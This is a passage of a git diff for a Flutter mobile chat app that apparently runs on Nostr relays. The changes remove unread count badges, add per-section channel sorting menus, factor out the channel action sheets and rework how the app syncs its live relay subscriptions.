+                  sortState.sortModeFor(sectionSortGroupKey(section.id)),
+                ),
                 unreadChannelIds: unreadChannelIds,
-                unreadChannelCounts: unreadChannelCounts,
                 mutedChannelIds: mutedChannelIds,
                 currentPubkey: currentPubkey,
                 expanded: sectionExpanded(section.id),
@@ -237,7 +278,7 @@ class _SliverChannelsList extends HookConsumerWidget {
                     userSections.first.id != section.id,
                 onToggle: () => toggleSection(section.id),
                 onRename: () async {
-                  final name = await showDialog<String>(
+                  final name = await showBuzzDialog<String>(
                     context: context,
                     builder: (_) => _SectionNameDialog(
                       title: 'Rename Section',
@@ -252,7 +293,7 @@ class _SliverChannelsList extends HookConsumerWidget {
                   }
                 },
                 onDelete: () async {
-                  final confirmed = await showDialog<bool>(
+                  final confirmed = await showBuzzDialog<bool>(
                     context: context,
                     builder: (_) => AlertDialog(
                       title: Text('Delete "${section.name}"?'),
@@ -286,6 +327,11 @@ class _SliverChannelsList extends HookConsumerWidget {
                 onMoveDown: () => ref
                     .read(channelSectionsProvider.notifier)
                     .moveSectionDown(section.id),
+                sortMode: sortState.sortModeFor(
+                  sectionSortGroupKey(section.id),
+                ),
+                onSortModeChange: (mode) =>
+                    setSortMode(sectionSortGroupKey(section.id), mode),
                 onSelectChannel: onSelectChannel,
                 onMarkChannelRead: (channel) {
                   final ts = dateTimeToUnixSeconds(channel.lastMessageAt);
@@ -312,10 +358,11 @@ class _SliverChannelsList extends HookConsumerWidget {
               onToggle: () => channelsExpanded.value = !channelsExpanded.value,
               channels: ungroupedStreamChannels,
               unreadChannelIds: unreadChannelIds,
-              unreadChannelCounts: unreadChannelCounts,
               mutedChannelIds: mutedChannelIds,
               currentPubkey: currentPubkey,
               emptyLabel: 'No stream channels yet',
+              sortMode: sortState.sortModeFor('channels'),
+              onSortModeChange: (mode) => setSortMode('channels', mode),
               onSelectChannel: onSelectChannel,
             ),
             _ChannelSection(
@@ -324,12 +371,13 @@ class _SliverChannelsList extends HookConsumerWidget {
               showTopDivider: true,
               expanded: dmsExpanded.value,
               onToggle: () => dmsExpanded.value = !dmsExpanded.value,
-              channels: dmChannels,
+              channels: sortedDmChannels,
               unreadChannelIds: unreadChannelIds,
-              unreadChannelCounts: unreadChannelCounts,
               mutedChannelIds: mutedChannelIds,
               currentPubkey: currentPubkey,
               emptyLabel: 'No direct messages yet',
+              sortMode: sortState.sortModeFor('dms'),
+              onSortModeChange: (mode) => setSortMode('dms', mode),
               onSelectChannel: onSelectChannel,
             ),
           ],
diff --git a/mobile/lib/features/channels/channels_page/channel_tile.dart b/mobile/lib/features/channels/channels_page/channel_tile.dart
index 551e3f8dd6..f7344086e5 100644
--- a/mobile/lib/features/channels/channels_page/channel_tile.dart
+++ b/mobile/lib/features/channels/channels_page/channel_tile.dart
@@ -2,7 +2,6 @@ part of '../channels_page.dart';
 
 class _ChannelTile extends ConsumerWidget {
   final Channel channel;
-  final int? unreadCount;
   final bool isUnread;
   final bool isMuted;
   final String? currentPubkey;
@@ -17,7 +16,6 @@ class _ChannelTile extends ConsumerWidget {
 
   const _ChannelTile({
     required this.channel,
-    this.unreadCount,
     required this.isUnread,
     required this.currentPubkey,
     required this.onTap,
@@ -28,6 +26,12 @@ class _ChannelTile extends ConsumerWidget {
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
+    final contentColor = isMuted
+        ? navigationSecondaryForeground(context)
+        : navigationPrimaryForeground(
+            context,
+          ).withValues(alpha: isUnread ? 1 : 0.8);
+
     return InkWell(
       borderRadius: BorderRadius.circular(Radii.md),
       onTap: onTap,
@@ -49,8 +53,9 @@ class _ChannelTile extends ConsumerWidget {
                     ? _DmAvatar(channel: channel, currentPubkey: currentPubkey)
                     : Icon(
                         channelIcon(channel),
+                        key: ValueKey('channel-icon-${channel.id}'),
                         size: _kChannelIconSize,
-                        color: context.colors.onSurface,
+                        color: contentColor,
                       ),
               ),
             ),
@@ -67,7 +72,7 @@ class _ChannelTile extends ConsumerWidget {
                     maxLines: 1,
                     overflow: TextOverflow.ellipsis,
                     style: contentListTitleTextStyle.copyWith(
-                      color: context.colors.onSurface,
+                      color: contentColor,
                       fontWeight: isUnread ? FontWeight.w700 : FontWeight.w400,
                     ),
                   ),
@@ -83,13 +88,9 @@ class _ChannelTile extends ConsumerWidget {
               Icon(
                 LucideIcons.bellOff,
                 size: 12,
-                color: context.colors.onSurfaceVariant,
+                color: context.colors.onSurface.withValues(alpha: 0.4),
               ),
             ],
-            if (isUnread && !channel.isDm) ...[
-              const SizedBox(width: Grid.xxs),
-              _UnreadBadge(channelId: channel.id, count: unreadCount ?? 0),
-            ],
             if (!channel.isMember && !channel.isDm)
               Padding(
                 padding: const EdgeInsets.only(right: Grid.xxs),
@@ -118,212 +119,12 @@ class _ChannelTile extends ConsumerWidget {
   }
 
   void _showChannelActions(BuildContext context, WidgetRef ref) {
-    showModalBottomSheet<void>(
-      context: context,
-      showDragHandle: true,
-      builder: (sheetContext) {
-        final sections = ref.read(channelSectionsProvider).store.sections
-          ..sort((a, b) => a.order.compareTo(b.order));
-        final isStarred =
-            ref
-                .read(channelStarsProvider)
-                .store
-                .channels[channel.id]
-                ?.starred ==
-            true;
-
-        return SafeArea(
-          child: Padding(
-            padding: const EdgeInsets.fromLTRB(
-              Grid.gutter,
-              0,
-              Grid.gutter,
-              Grid.xs,
-            ),
-            child: Column(
-              mainAxisSize: MainAxisSize.min,
-              children: [
-                ListTile(
-                  leading: Icon(
-                    isStarred ? LucideIcons.starOff : LucideIcons.star,
-                  ),
-                  title: Text(isStarred ? 'Unstar channel' : 'Star channel'),
-                  onTap: () {
-                    Navigator.of(sheetContext).pop();
-                    if (isStarred) {
-                      ref
-                          .read(channelStarsProvider.notifier)
-                          .unstarChannel(channel.id);
-                    } else {
-                      ref
-                          .read(channelStarsProvider.notifier)
-                          .starChannel(channel.id);
-                    }
-                  },
-                ),
-                ListTile(
-                  leading: const Icon(LucideIcons.folderInput),
-                  title: const Text('Move to section'),
-                  onTap: () async {
-                    Navigator.of(sheetContext).pop();
-                    await _showMoveSectionSheet(context, ref, sections);
-                  },
-                ),
-                ListTile(
-                  leading: Icon(
-                    isMuted ? LucideIcons.bell : LucideIcons.bellOff,
-                  ),
-                  title: Text(isMuted ? 'Unmute channel' : 'Mute channel'),
-                  onTap: () {
-                    Navigator.of(sheetContext).pop();
-                    if (isMuted) {
-                      ref
-                          .read(channelMutesProvider.notifier)
-                          .unmuteChannel(channel.id);
-                    } else {
-                      ref
-                          .read(channelMutesProvider.notifier)
-                          .muteChannel(channel.id);
-                    }
-                  },
-                ),
-                ListTile(
-                  leading: Icon(
-                    isUnread ? LucideIcons.checkCheck : LucideIcons.circleDot,
-                  ),
-                  title: Text(isUnread ? 'Mark as read' : 'Mark as unread'),
-                  onTap: () {
-                    Navigator.of(sheetContext).pop();
-                    final ts = dateTimeToUnixSeconds(channel.lastMessageAt);
-                    if (ts != null) {
-                      if (isUnread) {
-                        onMarkRead?.call();
-                        ref
-                            .read(readStateProvider.notifier)
-                            .markContextRead(
-                              channel.id,
-                              ts,
-                              clearForcedMessages: true,
-                            );
-                        ref
-                            .read(channelsProvider.notifier)
-                            .clearObservedUnreadCoveredByRead(channel.id, ts);
-                      } else {
-                        ref
-                            .read(readStateProvider.notifier)
-                            .markContextUnread(
-                              channel.id,
-                              channelId: channel.id,
-                            );
-                      }
-                    }
-                  },
-                ),
-              ],
-            ),
-          ),
-        );
-      },
-    );
-  }
-
-  Future<void> _showMoveSectionSheet(
-    BuildContext context,
-    WidgetRef ref,
-    List<ChannelSection> sections,
-  ) async {
-    await showModalBottomSheet<void>(
+    showChannelActionsSheet(
       context: context,
-      showDragHandle: true,
-      builder: (sheetContext) {
-        return SafeArea(
-          child: Padding(
-            padding: const EdgeInsets.fromLTRB(
-              Grid.gutter,
-              0,
-              Grid.gutter,
-              Grid.xs,
-            ),
-            child: Column(
-              mainAxisSize: MainAxisSize.min,
-              children: [
-                for (final section in sections)
-                  ListTile(
-                    leading: Icon(
-                      LucideIcons.folder,
-                      color: sectionId == section.id
-                          ? sheetContext.colors.primary
-                          : null,
-                    ),
-                    title: Text(section.name),
-                    trailing: sectionId == section.id
-                        ? Icon(
-                            LucideIcons.check,
-                            color: sheetContext.colors.primary,
-                          )
-                        : null,
-                    onTap: () {
-                      Navigator.of(sheetContext).pop();
-                      ref
-                          .read(channelSectionsProvider.notifier)
-                          .assignChannel(channel.id, section.id);
-                    },
-                  ),
-                ListTile(
-                  leading: const Icon(LucideIcons.folderPlus),
-                  title: const Text('New section…'),
-                  onTap: () async {
-                    Navigator.of(sheetContext).pop();
-                    if (!context.mounted) return;
-                    final name = await showDialog<String>(
-                      context: context,
-                      builder: (_) => const _SectionNameDialog(
-                        title: 'New Section',
-                        confirmLabel: 'Create',
-                      ),
-                    );
-                    if (name != null && name.isNotEmpty) {
-                      ref
-                          .read(channelSectionsProvider.notifier)
-                          .createSection(name);
-                      // Assign after create — sections list has been mutated,
-                      // re-read to find the new section by name.
-                      final newSection = ref
-                          .read(channelSectionsProvider)
-                          .store
-                          .sections
-                          .lastWhere(
-                            (s) => s.name == name.trim(),
-                            orElse: () => const ChannelSection(
-                              id: '',
-                              name: '',
-                              order: -1,
-                            ),
-                          );
-                      if (newSection.id.isNotEmpty) {
-                        ref
-                            .read(channelSectionsProvider.notifier)
-                            .assignChannel(channel.id, newSection.id);
-                      }
-                    }
-                  },
-                ),
-                if (sectionId != null)
-                  ListTile(
-                    leading: const Icon(LucideIcons.folderMinus),
-                    title: const Text('Remove from section'),
-                    onTap: () {
-                      Navigator.of(sheetContext).pop();
-                      ref
-                          .read(channelSectionsProvider.notifier)
-                          .unassignChannel(channel.id);
-                    },
-                  ),
-              ],
-            ),
-          ),
-        );
-      },
+      channel: channel,
+      isUnread: isUnread,
+      onMarkRead: onMarkRead,
+      sectionId: sectionId,
     );
   }
 }
diff --git a/mobile/lib/features/channels/channels_page/community.dart b/mobile/lib/features/channels/channels_page/community.dart
index 73935f4631..19f0efe5da 100644
--- a/mobile/lib/features/channels/channels_page/community.dart
+++ b/mobile/lib/features/channels/channels_page/community.dart
@@ -422,7 +422,7 @@ Future<void> _confirmRemoveCommunity(
   Community community, {
   required bool closeSheetAfterRemoval,
 }) async {
-  final confirmed = await showDialog<bool>(
+  final confirmed = await showBuzzDialog<bool>(
     context: context,
     builder: (dialogContext) => AlertDialog.adaptive(
       title: const Text('Remove community?'),
@@ -471,37 +471,44 @@ class _CommunityIndicator extends ConsumerWidget {
     final activeAsync = ref.watch(activeCommunityProvider);
 
     final activeCommunity = activeAsync.value;
-    final name = activeCommunity?.name;
 
     return GestureDetector(
       onTap: onTap,
       behavior: HitTestBehavior.opaque,
-      child: Row(
-        mainAxisSize: MainAxisSize.min,
-        children: [
-          _CommunityAvatar(name: name, relayUrl: activeCommunity?.relayUrl),
-          const SizedBox(width: _kTopSectionLabelGap),
-          if (name != null)
-            Flexible(
-              child: Text(
-                name,
-                maxLines: 1,
-                overflow: TextOverflow.ellipsis,
-                style: context.textTheme.labelLarge?.copyWith(
-                  fontWeight: FontWeight.w600,
-                ),
-              ),
-            )
-          else
-            Text(
-              'Community',
+      child: _CommunityAvatar(
+        name: activeCommunity?.name,
+        relayUrl: activeCommunity?.relayUrl,
+      ),
+    );
+  }
+}
+
+class _CommunityHeaderTitle extends ConsumerWidget {
+  final TextStyle? style;
+  final VoidCallback onTap;
+
+  const _CommunityHeaderTitle({required this.onTap, this.style});
+
+  @override
+  Widget build(BuildContext context, WidgetRef ref) {
+    final name = ref.watch(activeCommunityProvider).value?.name;
+    final title = name?.trim();
+    return GestureDetector(
+      behavior: HitTestBehavior.opaque,
+      onTap: onTap,
+      child: SizedBox.expand(
+        child: Align(
+          alignment: Alignment.centerLeft,
+          child: Padding(
+            padding: const EdgeInsets.only(left: Grid.xxs),
+            child: Text(
+              title == null || title.isEmpty ? 'Community' : title,
               maxLines: 1,
               overflow: TextOverflow.ellipsis,
-              style: context.textTheme.labelLarge?.copyWith(
-                fontWeight: FontWeight.w600,
-              ),
+              style: style,
             ),
-        ],
+          ),
+        ),
       ),
     );
   }
diff --git a/mobile/lib/features/channels/channels_page/quick_actions_launcher.dart b/mobile/lib/features/channels/channels_page/quick_actions_launcher.dart
index 3653932089..adf5cfd176 100644
--- a/mobile/lib/features/channels/channels_page/quick_actions_launcher.dart
+++ b/mobile/lib/features/channels/channels_page/quick_actions_launcher.dart
@@ -85,7 +85,7 @@ class ChannelQuickActionsLauncher extends HookConsumerWidget {
 
       switch (action) {
         case _QuickAction.createChannel:
-          final created = await showModalBottomSheet<Channel>(
+          final created = await showBuzzModalBottomSheet<Channel>(
             context: context,
             constraints: _quickActionSheetConstraints(context),
             isScrollControlled: true,
@@ -96,7 +96,7 @@ class ChannelQuickActionsLauncher extends HookConsumerWidget {
             await openChannel(created);
           }
         case _QuickAction.newDm:
-          final opened = await showModalBottomSheet<Channel>(
+          final opened = await showBuzzModalBottomSheet<Channel>(
             context: context,
             constraints: _quickActionSheetConstraints(context),
             isScrollControlled: true,
@@ -161,8 +161,10 @@ class ChannelQuickActionsLauncher extends HookConsumerWidget {
                 child: _MorphingQuickActionsButton(
                   open: effectiveOpen,
                   openEdgeOffset: rightInset - Grid.gutter,
-                  onToggle: () =>
-                      quickActionsOpen.value = !quickActionsOpen.value,
+                  onToggle: () {
+                    unawaited(HapticFeedback.lightImpact());
+                    quickActionsOpen.value = !quickActionsOpen.value;
+                  },
                   onSelected: (action) => unawaited(selectQuickAction(action)),
                 ),
               ),
diff --git a/mobile/lib/features/channels/channels_page/sections.dart b/mobile/lib/features/channels/channels_page/sections.dart
index f9fe5453d7..6e17845d74 100644
--- a/mobile/lib/features/channels/channels_page/sections.dart
+++ b/mobile/lib/features/channels/channels_page/sections.dart
@@ -1,10 +1,11 @@
 part of '../channels_page.dart';
 
+const _sectionMenuItemPadding = EdgeInsets.fromLTRB(Grid.xs, 0, Grid.twelve, 0);
+
 class _CustomChannelSection extends StatelessWidget {
   final ChannelSection section;
   final List<Channel> channels;
   final Set<String> unreadChannelIds;
-  final Map<String, int> unreadChannelCounts;
   final Set<String> mutedChannelIds;
   final String? currentPubkey;
   final bool expanded;
@@ -16,6 +17,8 @@ class _CustomChannelSection extends StatelessWidget {
   final VoidCallback onDelete;
   final VoidCallback onMoveUp;
   final VoidCallback onMoveDown;
+  final ChannelSortMode sortMode;
+  final ValueChanged<ChannelSortMode> onSortModeChange;
   final Future<void> Function(Channel channel) onSelectChannel;
   final void Function(Channel channel) onMarkChannelRead;
 
@@ -23,7 +26,6 @@ class _CustomChannelSection extends StatelessWidget {
     required this.section,
     required this.channels,
     required this.unreadChannelIds,
-    required this.unreadChannelCounts,
     required this.mutedChannelIds,
     required this.currentPubkey,
     required this.expanded,
@@ -35,6 +37,8 @@ class _CustomChannelSection extends StatelessWidget {
     required this.onDelete,
     required this.onMoveUp,
     required this.onMoveDown,
+    required this.sortMode,
+    required this.onSortModeChange,
     required this.onSelectChannel,
     required this.onMarkChannelRead,
   });
@@ -55,6 +59,8 @@ class _CustomChannelSection extends StatelessWidget {
           onDelete: onDelete,
           onMoveUp: onMoveUp,
           onMoveDown: onMoveDown,
+          sortMode: sortMode,
+          onSortModeChange: onSortModeChange,
         ),
         _AnimatedSectionBody(
           expanded: expanded,
@@ -64,7 +70,6 @@ class _CustomChannelSection extends StatelessWidget {
               for (final channel in channels)
                 _ChannelTile(
                   channel: channel,
-                  unreadCount: unreadChannelCounts[channel.id],
                   isUnread: unreadChannelIds.contains(channel.id),
                   isMuted: mutedChannelIds.contains(channel.id),
                   currentPubkey: currentPubkey,
@@ -72,6 +77,7 @@ class _CustomChannelSection extends StatelessWidget {
                   onMarkRead: () => onMarkChannelRead(channel),
                   sectionId: section.id,
                 ),
+              const SizedBox(height: _kExpandedSectionTrailingPadding),
             ],
           ),
         ),
@@ -90,6 +96,8 @@ class _CustomSectionHeader extends ConsumerWidget {
   final VoidCallback onDelete;
   final VoidCallback onMoveUp;
   final VoidCallback onMoveDown;
+  final ChannelSortMode sortMode;
+  final ValueChanged<ChannelSortMode> onSortModeChange;
 
   const _CustomSectionHeader({
     required this.section,
@@ -101,11 +109,13 @@ class _CustomSectionHeader extends ConsumerWidget {
     required this.onDelete,
     required this.onMoveUp,
     required this.onMoveDown,
+    required this.sortMode,
+    required this.onSortModeChange,
   });
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
-    final sectionColor = context.colors.primary;
+    final sectionColor = navigationSectionForeground(context);
     final icon = section.icon;
     final customEmoji = icon == null
         ? null
@@ -117,9 +127,9 @@ class _CustomSectionHeader extends ConsumerWidget {
       child: Padding(
         padding: const EdgeInsets.fromLTRB(
           Grid.gutter,
-          Grid.twelve,
+          _kSectionHeaderVerticalPadding,
           Grid.gutter,
-          _kChannelRowVerticalPadding,
+          _kSectionHeaderVerticalPadding,
         ),
         child: Row(
           children: [
@@ -178,32 +188,43 @@ class _CustomSectionHeader extends ConsumerWidget {
                     context: buttonContext,
                     width: 216,
                     alignment: AnchoredPopoverAlignment.end,
-                    color: context.colors.surface,
-                    elevation: 4,
-                    shadowColor: context.colors.shadow.withValues(alpha: 0.18),
-                    shape: RoundedRectangleBorder(
-                      borderRadius: BorderRadius.circular(Radii.md),
-                      side: BorderSide(color: context.colors.outline),
-                    ),
                     surfaceKey: ValueKey('section-popover-${section.id}'),
                     items: [
                       const PopupMenuItem(
                         value: 'rename',
-                        child: Text('Rename'),
+                        padding: _sectionMenuItemPadding,
+                        child: _SectionMenuItemContent(
+                          icon: LucideIcons.pencil,
+                          label: 'Rename section',
+                        ),
                       ),
                       PopupMenuItem(
                         value: 'move_up',
                         enabled: !isFirst,
-                        child: const Text('Move Up'),
+                        padding: _sectionMenuItemPadding,
+                        child: const _SectionMenuItemContent(
+                          icon: LucideIcons.arrowUp,
+                          label: 'Move up',
+                        ),
                       ),
                       PopupMenuItem(
                         value: 'move_down',
                         enabled: !isLast,
-                        child: const Text('Move Down'),
+                        padding: _sectionMenuItemPadding,
+                        child: const _SectionMenuItemContent(
+                          icon: LucideIcons.arrowDown,
+                          label: 'Move down',
+                        ),
                       ),
-                      const PopupMenuItem(
+                      ..._sortMenuItems(sortMode),
+                      PopupMenuItem(
                         value: 'delete',
-                        child: Text('Delete'),
+                        padding: _sectionMenuItemPadding,
+                        child: _SectionMenuItemContent(
+                          icon: LucideIcons.trash2,
+                          label: 'Delete section',
+                          color: context.colors.error,
+                        ),
                       ),
                     ],
                   );
@@ -214,6 +235,10 @@ class _CustomSectionHeader extends ConsumerWidget {
                       onMoveUp();
                     case 'move_down':
                       onMoveDown();
+                    case _kSortRecentMenuValue:
+                      onSortModeChange(ChannelSortMode.recent);
+                    case _kSortAlphaMenuValue:
+                      onSortModeChange(ChannelSortMode.alpha);
                     case 'delete':
                       onDelete();
                   }
@@ -229,6 +254,36 @@ class _CustomSectionHeader extends ConsumerWidget {
   }
 }
 
+class _SectionMenuItemContent extends StatelessWidget {
+  final IconData icon;
+  final String label;
+  final Color? color;
+
+  const _SectionMenuItemContent({
+    required this.icon,
+    required this.label,
+    this.color,
+  });
+
+  @override
+  Widget build(BuildContext context) {
+    return Row(
+      children: [
+        Icon(icon, size: 16, color: color),
+        const SizedBox(width: Grid.xxs),
+        Flexible(
+          child: Text(
+            label,
+            maxLines: 1,
+            overflow: TextOverflow.ellipsis,
+            style: color == null ? null : TextStyle(color: color),
+          ),
+        ),
+      ],
+    );
+  }
+}
+
 CustomEmoji? _resolveCustomEmoji(String icon, List<CustomEmoji> palette) {
   if (!icon.startsWith(':') || !icon.endsWith(':')) return null;
   final shortcode = normalizeShortcode(icon);
@@ -278,6 +333,43 @@ class _SectionNameDialog extends HookWidget {
   }
 }
 
+const _kSortRecentMenuValue = 'sort_recent';
+const _kSortAlphaMenuValue = 'sort_alpha';
+
+PopupMenuItem<String> _sortMenuItem({
+  required String value,
+  required String label,
+  required bool selected,
+}) => PopupMenuItem(
+  value: value,
+  child: Row(
+    children: [
+      Expanded(child: Text(label)),
+      if (selected)
+        const Icon(LucideIcons.check, key: ValueKey('sort-selected-check'))
+      else
+        const SizedBox(width: 24),
+    ],
+  ),
+);
+
+List<PopupMenuEntry<String>> _sortMenuItems(
+  ChannelSortMode current, {
+  bool showDivider = true,
+}) => [
+  if (showDivider) const PopupMenuDivider(),
+  _sortMenuItem(
+    value: _kSortRecentMenuValue,
+    label: 'Sort: Recent',
+    selected: current == ChannelSortMode.recent,
+  ),
+  _sortMenuItem(
+    value: _kSortAlphaMenuValue,
+    label: 'Sort: A–Z',
+    selected: current == ChannelSortMode.alpha,
+  ),
+];
+
 class _ChannelSection extends StatelessWidget {
   final String title;
   final IconData icon;
@@ -286,10 +378,11 @@ class _ChannelSection extends StatelessWidget {
   final List<Channel> channels;
   final bool showTopDivider;
   final Set<String> unreadChannelIds;
-  final Map<String, int> unreadChannelCounts;
   final Set<String> mutedChannelIds;
   final String? currentPubkey;
   final String emptyLabel;
+  final ChannelSortMode? sortMode;
+  final ValueChanged<ChannelSortMode>? onSortModeChange;
   final Future<void> Function(Channel channel) onSelectChannel;
 
   const _ChannelSection({
@@ -300,10 +393,11 @@ class _ChannelSection extends StatelessWidget {
     required this.channels,
     required this.showTopDivider,
     required this.unreadChannelIds,
-    required this.unreadChannelCounts,
     required this.mutedChannelIds,
     required this.currentPubkey,
     required this.emptyLabel,
+    this.sortMode,
+    this.onSortModeChange,
     required this.onSelectChannel,
   });
 
@@ -318,6 +412,8 @@ class _ChannelSection extends StatelessWidget {
           icon: icon,
           expanded: expanded,
           onToggle: onToggle,
+          sortMode: sortMode,
+          onSortModeChange: onSortModeChange,
         ),
         _AnimatedSectionBody(
           expanded: expanded,
@@ -343,7 +439,6 @@ class _ChannelSection extends StatelessWidget {
                 for (final channel in channels)
                   _ChannelTile(
                     channel: channel,
-                    unreadCount: unreadChannelCounts[channel.id],
                     isUnread: unreadChannelIds.contains(channel.id),
                     isMuted: mutedChannelIds.contains(channel.id),
                     currentPubkey: currentPubkey,
@@ -351,6 +446,7 @@ class _ChannelSection extends StatelessWidget {
                     onMarkRead: null,
                     sectionId: null,
                   ),
+              const SizedBox(height: _kExpandedSectionTrailingPadding),
             ],
           ),
         ),
@@ -401,7 +497,7 @@ class _SectionDivider extends StatelessWidget {
         thickness: 1,
         indent: _kChannelSectionInset,
         endIndent: _kChannelSectionInset,
-        color: context.colors.outlineVariant.withValues(alpha: 0.72),
+        color: context.colors.primary.withValues(alpha: 0.15),
       ),
     );
   }
@@ -412,17 +508,21 @@ class _SectionHeader extends StatelessWidget {
   final IconData icon;
   final bool expanded;
   final VoidCallback onToggle;
+  final ChannelSortMode? sortMode;
+  final ValueChanged<ChannelSortMode>? onSortModeChange;
 
   const _SectionHeader({
     required this.label,
     required this.icon,
     required this.expanded,
     required this.onToggle,
+    this.sortMode,
+    this.onSortModeChange,
   });
 
   @override
   Widget build(BuildContext context) {
-    final sectionColor = context.colors.primary;
+    final sectionColor = navigationSectionForeground(context);
 
     return GestureDetector(
       onTap: onToggle,
@@ -430,9 +530,9 @@ class _SectionHeader extends StatelessWidget {
       child: Padding(
         padding: const EdgeInsets.fromLTRB(
           Grid.gutter,
-          Grid.twelve,
+          _kSectionHeaderVerticalPadding,
           Grid.gutter,
-          _kChannelRowVerticalPadding,
+          _kSectionHeaderVerticalPadding,
         ),
         child: Row(
           children: [
@@ -452,6 +552,44 @@ class _SectionHeader extends StatelessWidget {
               ),
             ),
             const Spacer(),
+            if (sortMode case final mode?) ...[
+              Builder(
+                builder: (buttonContext) => IconButton(
+                  key: ValueKey('sort-menu-$label'),
+                  tooltip: '$label options',
+                  visualDensity: VisualDensity.compact,
+                  icon: Icon(
+                    LucideIcons.ellipsisVertical,
+                    size: _kChannelIconSize,
+                    color: sectionColor,
+                  ),
+                  onPressed: () async {
+                    final value = await showAnchoredPopover<String>(
+                      context: buttonContext,
+                      width: 216,
+                      alignment: AnchoredPopoverAlignment.end,
+                      color: context.colors.surface,
+                      elevation: 4,
+                      shadowColor: context.colors.shadow.withValues(
+                        alpha: 0.18,
+                      ),
+                      shape: RoundedRectangleBorder(
+                        borderRadius: BorderRadius.circular(Radii.md),
+                        side: BorderSide(color: context.colors.outline),
+                      ),
+                      surfaceKey: ValueKey('sort-popover-$label'),
+                      items: _sortMenuItems(mode, showDivider: false),
+                    );
+                    if (value == _kSortRecentMenuValue) {
+                      onSortModeChange?.call(ChannelSortMode.recent);
+                    } else if (value == _kSortAlphaMenuValue) {
+                      onSortModeChange?.call(ChannelSortMode.alpha);
+                    }
+                  },
+                ),
+              ),
+              const SizedBox(width: Grid.quarter),
+            ],
             _SectionChevron(expanded: expanded, color: sectionColor),
           ],
         ),
diff --git a/mobile/lib/features/channels/channels_provider.dart b/mobile/lib/features/channels/channels_provider.dart
index 614ab054c3..5d7b7df866 100644
--- a/mobile/lib/features/channels/channels_provider.dart
+++ b/mobile/lib/features/channels/channels_provider.dart
@@ -11,7 +11,7 @@ import '../../shared/utils/string_utils.dart';
 import 'channel.dart';
 import 'channel_management_provider.dart' show channelDetailsProvider;
 import 'channel_mutes/channel_mutes_provider.dart';
-import 'read_state/read_state_provider.dart';
+import '../../shared/read_state/read_state_provider.dart';
 import 'thread_follows/thread_follows_provider.dart';
 import 'unread_badge/is_high_priority_event.dart';
 import 'unread_badge/observed_unread_event.dart';
@@ -35,8 +35,12 @@ const _authoredRootIdsPrefix = 'buzz-thread-authored.v1';
 class ChannelsNotifier extends AsyncNotifier<List<Channel>> {
   static const _backstopInterval = Duration(seconds: 60);
 
-  final List<void Function()> _unsubscribers = [];
+  final Map<String, void Function()> _unsubscribersByChannel = {};
+  Future<void> _liveSubscriptionQueue = Future.value();
+  List<Channel> _desiredLiveChannels = const [];
+  Set<String> _desiredLiveChannelIds = const {};
   int _subscriptionVersion = 0;
+  String? _subscriptionRelayBaseUrl;
   Timer? _backstopTimer;
   final Map<String, int> _latestObservedByChannel = {};
   final Map<String, Map<String, ObservedUnreadEvent>>
@@ -147,7 +151,10 @@ class ChannelsNotifier extends AsyncNotifier<List<Channel>> {
         .whereType<String>()
         .toSet()
         .toList();
-    if (channelIds.isEmpty) return const [];
+    if (channelIds.isEmpty) {
+      if (subscribeLive) await _subscribeLive(const []);
+      return const [];
+    }
 
     // Step 2: pull channel metadata in one batched filter.
     final metas = await session.fetchHistory(
@@ -423,50 +430,114 @@ class ChannelsNotifier extends AsyncNotifier<List<Channel>> {
   /// Subscribe per-channel to live events (requires `#h` tag for relay
   /// channel-scoped fan-out). Also starts a 60s WS backstop poll to detect
   /// newly created channels we don't yet have subscriptions for.
-  Future<void> _subscribeLive(List<Channel> channels) async {
-    _clearLiveSubscriptions();
-    final subscriptionVersion = _subscriptionVersion;
-    if (ref.read(relaySessionProvider).status != SessionStatus.connected) {
-      return;
-    }
-
-    final session = ref.read(relaySessionProvider.notifier);
+  Future<void> _subscribeLive(List<Channel> channels) {
     final channelIds = {
       for (final channel in channels)
         if (channel.isMember && !channel.isArchived) channel.id,
     };
-
-    final subscriptions = await Future.wait(
-      channelIds.map((channelId) async {
-        try {
-          return await session.subscribe(
-            NostrFilter(
-              kinds: EventKind.channelEventKinds,
-              tags: {
-                '#h': [channelId],
-              },
-              limit: 0,
-            ),
-            _handleLiveEvent,
-          );
-        } catch (error) {
-          debugPrint(
-            '[ChannelsNotifier] live subscription failed for $channelId: $error',
-          );
-          return null;
-        }
-      }),
+    final relayBaseUrl = ref.read(relayConfigProvider).baseUrl;
+    _desiredLiveChannels = channels;
+    _desiredLiveChannelIds = channelIds;
+    final subscriptionVersion = ++_subscriptionVersion;
+
+    final sync = _liveSubscriptionQueue.then(
+      (_) =>
+          _syncLiveSubscriptions(relayBaseUrl, subscriptionVersion, channels),
     );
+    _liveSubscriptionQueue = sync.catchError((Object error, StackTrace stack) {
+      debugPrint(
+        '[ChannelsNotifier] live subscription sync failed: $error\n$stack',
+      );
+    });
+    return sync;
+  }
+
+  Future<void> _syncLiveSubscriptions(
+    String relayBaseUrl,
+    int subscriptionVersion,
+    List<Channel> channels,
+  ) async {
+    if (ref.read(relaySessionProvider).status != SessionStatus.connected) {
+      return;
+    }
+
+    if (subscriptionVersion != _subscriptionVersion) {
+      await _syncLiveSubscriptions(
+        ref.read(relayConfigProvider).baseUrl,
+        _subscriptionVersion,
+        _desiredLiveChannels,
+      );
+      return;
+    }
 
-    if (subscriptionVersion != _subscriptionVersion ||
-        ref.read(relaySessionProvider).status != SessionStatus.connected) {
-      for (final unsubscribe in subscriptions.whereType<void Function()>()) {
+    if (_subscriptionRelayBaseUrl != relayBaseUrl) {
+      for (final unsubscribe in _unsubscribersByChannel.values) {
         unsubscribe();
       }
+      _unsubscribersByChannel.clear();
+      _subscriptionRelayBaseUrl = relayBaseUrl;
+    }
+    if (ref.read(relayConfigProvider).baseUrl != relayBaseUrl) {
+      return;
+    }
+    final session = ref.read(relaySessionProvider.notifier);
+    final channelIds = _desiredLiveChannelIds;
+
+    for (final entry in _unsubscribersByChannel.entries.toList()) {
+      if (channelIds.contains(entry.key)) continue;
+      _unsubscribersByChannel.remove(entry.key);
+      entry.value();
+    }
+
+    for (final channelId in channelIds) {
+      if (ref.read(relaySessionProvider).status != SessionStatus.connected) {
+        return;
+      }
+      if (_unsubscribersByChannel.containsKey(channelId)) continue;
+      try {
+        final unsubscribe = await session.subscribe(
+          NostrFilter(
+            kinds: EventKind.channelEventKinds,
+            tags: {
+              '#h': [channelId],
+            },
+            limit: 0,
+          ),
+          _handleLiveEvent,
+        );
+        if (ref.read(relaySessionProvider).status != SessionStatus.connected ||
+            !_desiredLiveChannelIds.contains(channelId) ||
